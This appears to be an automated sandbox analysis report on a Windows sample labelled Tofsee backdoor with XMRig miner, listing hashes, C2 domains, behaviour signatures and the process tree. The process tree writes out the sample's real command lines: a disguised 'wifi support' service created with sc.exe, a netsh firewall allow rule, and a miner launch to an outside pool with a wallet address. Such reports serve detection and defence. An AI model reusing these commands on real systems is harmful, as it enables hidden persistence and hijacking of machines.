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Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2022, 06:13

General

  • Target

    file.exe

  • Size

    220KB

  • MD5

    b8801008c417b5243fc3f23efd398464

  • SHA1

    103c056f4f343f61022b727a4b325bd5f9c50c69

  • SHA256

    9ed5c8903da45b632845d7a4288e2da852650ddf6762068908da5b6e6b70c9a6

  • SHA512

    e17434f7e6ec74d74b268b36afe80d5400339963a8b8b2972b8342d629f0b7e89d3a0dd805a412f01d34b30deda6238898d64b80bdc245b8f93c70862f96f4d5

  • SSDEEP

    3072:iPqFpLpqwt15WI/PhYR1e58niPr4V7b/oU/Yw8Co1NHCDml:NHLpqw/3ee5WiPMFww8CoHCa

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\inahlziw\
      2⤵
        PID:2788
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xwvwxhjm.exe" C:\Windows\SysWOW64\inahlziw\
        2⤵
          PID:856
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create inahlziw binPath= "C:\Windows\SysWOW64\inahlziw\xwvwxhjm.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4236
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description inahlziw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3844
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start inahlziw
          2⤵
          • Launches sc.exe
          PID:4440
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3504
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 1236
          2⤵
          • Program crash
          PID:3688
      • C:\Windows\SysWOW64\inahlziw\xwvwxhjm.exe
        C:\Windows\SysWOW64\inahlziw\xwvwxhjm.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4212
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:740
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:500
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 512
          2⤵
          • Program crash
          PID:4948
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4936 -ip 4936
        1⤵
          PID:116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4212 -ip 4212
          1⤵
            PID:4420

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xwvwxhjm.exe

            Filesize

            13.7MB

            MD5

            ce03d6d6945ad1d7b607d80e59a962a7

            SHA1

            ebdb188ce72ecbb43ac36f5c909ed4c32da580f9

            SHA256

            e4e7cc81be11c939eb1e203462b1f442f2079b1eca693fdbb1fdafb85881e47f

            SHA512

            a448549f115e63998636596347b9f0fe771037ed0489187b7f78031984ece7aecd7755c351ea15a39ffe7746dbc8933cff52a9a8f3421a0adc5063ef0c6f5ff0

          • C:\Windows\SysWOW64\inahlziw\xwvwxhjm.exe

            Filesize

            13.7MB

            MD5

            ce03d6d6945ad1d7b607d80e59a962a7

            SHA1

            ebdb188ce72ecbb43ac36f5c909ed4c32da580f9

            SHA256

            e4e7cc81be11c939eb1e203462b1f442f2079b1eca693fdbb1fdafb85881e47f

            SHA512

            a448549f115e63998636596347b9f0fe771037ed0489187b7f78031984ece7aecd7755c351ea15a39ffe7746dbc8933cff52a9a8f3421a0adc5063ef0c6f5ff0

          • memory/500-181-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/500-176-0x0000000000C80000-0x0000000000D71000-memory.dmp

            Filesize

            964KB

          • memory/740-160-0x0000000001BE0000-0x0000000001BE6000-memory.dmp

            Filesize

            24KB

          • memory/740-155-0x0000000000860000-0x0000000000875000-memory.dmp

            Filesize

            84KB

          • memory/740-163-0x0000000001BF0000-0x0000000001C00000-memory.dmp

            Filesize

            64KB

          • memory/740-169-0x0000000007400000-0x000000000780B000-memory.dmp

            Filesize

            4.0MB

          • memory/740-157-0x0000000002400000-0x000000000260F000-memory.dmp

            Filesize

            2.1MB

          • memory/740-156-0x0000000000860000-0x0000000000875000-memory.dmp

            Filesize

            84KB

          • memory/740-166-0x00000000029D0000-0x00000000029D5000-memory.dmp

            Filesize

            20KB

          • memory/740-150-0x0000000000860000-0x0000000000875000-memory.dmp

            Filesize

            84KB

          • memory/740-172-0x00000000029E0000-0x00000000029E7000-memory.dmp

            Filesize

            28KB

          • memory/4212-153-0x000000000079E000-0x00000000007AE000-memory.dmp

            Filesize

            64KB

          • memory/4212-154-0x0000000000400000-0x0000000000461000-memory.dmp

            Filesize

            388KB

          • memory/4936-147-0x0000000000580000-0x0000000000593000-memory.dmp

            Filesize

            76KB

          • memory/4936-135-0x0000000000693000-0x00000000006A4000-memory.dmp

            Filesize

            68KB

          • memory/4936-148-0x0000000000400000-0x0000000000461000-memory.dmp

            Filesize

            388KB

          • memory/4936-138-0x0000000000400000-0x0000000000461000-memory.dmp

            Filesize

            388KB

          • memory/4936-146-0x0000000000693000-0x00000000006A4000-memory.dmp

            Filesize

            68KB

          • memory/4936-136-0x0000000000580000-0x0000000000593000-memory.dmp

            Filesize

            76KB